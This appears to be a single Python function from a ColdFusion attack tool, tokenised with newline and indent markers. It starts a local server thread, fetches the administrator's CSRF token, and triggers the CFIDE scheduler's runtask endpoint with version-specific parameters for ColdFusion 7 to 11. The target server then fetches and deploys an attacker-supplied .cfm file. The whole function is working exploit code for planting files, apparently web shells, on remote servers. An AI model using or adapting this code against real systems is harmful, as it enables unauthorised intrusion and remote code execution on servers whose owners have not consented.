#NEWLINE# def run_task( ip , fingerprint , cfm_path ) : #NEWLINE# #INDENT# ' Invoke the task and wait for the remote server to fetch\n    our file\n    ' #NEWLINE# success = True #NEWLINE# cfm_name = parse_war_path ( cfm_path , True ) #NEWLINE# server_thread = Thread ( target = _serve , args = ( cfm_path , ) ) #NEWLINE# server_thread . start ( ) #NEWLINE# sleep ( 2 ) #NEWLINE# url = 'http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm' . format ( ip , fingerprint . port ) #NEWLINE# ( cookie , csrf ) = fetch_csrf ( ip , fingerprint , url ) #NEWLINE# if ( fingerprint . version in [ '7.0' , '8.0' ] ) : #NEWLINE# #INDENT# uri = '?runtask={0}&timeout=0' . format ( cfm_name ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# if ( fingerprint . version in [ '9.0' ] ) : #NEWLINE# #INDENT# uri = '?runtask={0}&timeout=0&csrftoken={1}' . format ( cfm_name , csrf ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# if ( fingerprint . version in [ '10.0' , '11.0' ] ) : #NEWLINE# #INDENT# uri = '?runtask={0}&group=default&mode=server&csrftoken={1}' . format ( cfm_name , csrf ) #NEWLINE# #UNINDENT# #UNINDENT# #UNINDENT# response = utility . requests_get ( ( url + uri ) , cookies = cookie ) #NEWLINE# if waitServe ( server_thread ) : #NEWLINE# #INDENT# utility . Msg ( '{0} deployed to /CFIDE/{0}' . format ( cfm_name ) , LOG . SUCCESS ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# success = False #NEWLINE# #UNINDENT# killServe ( ) #NEWLINE# return success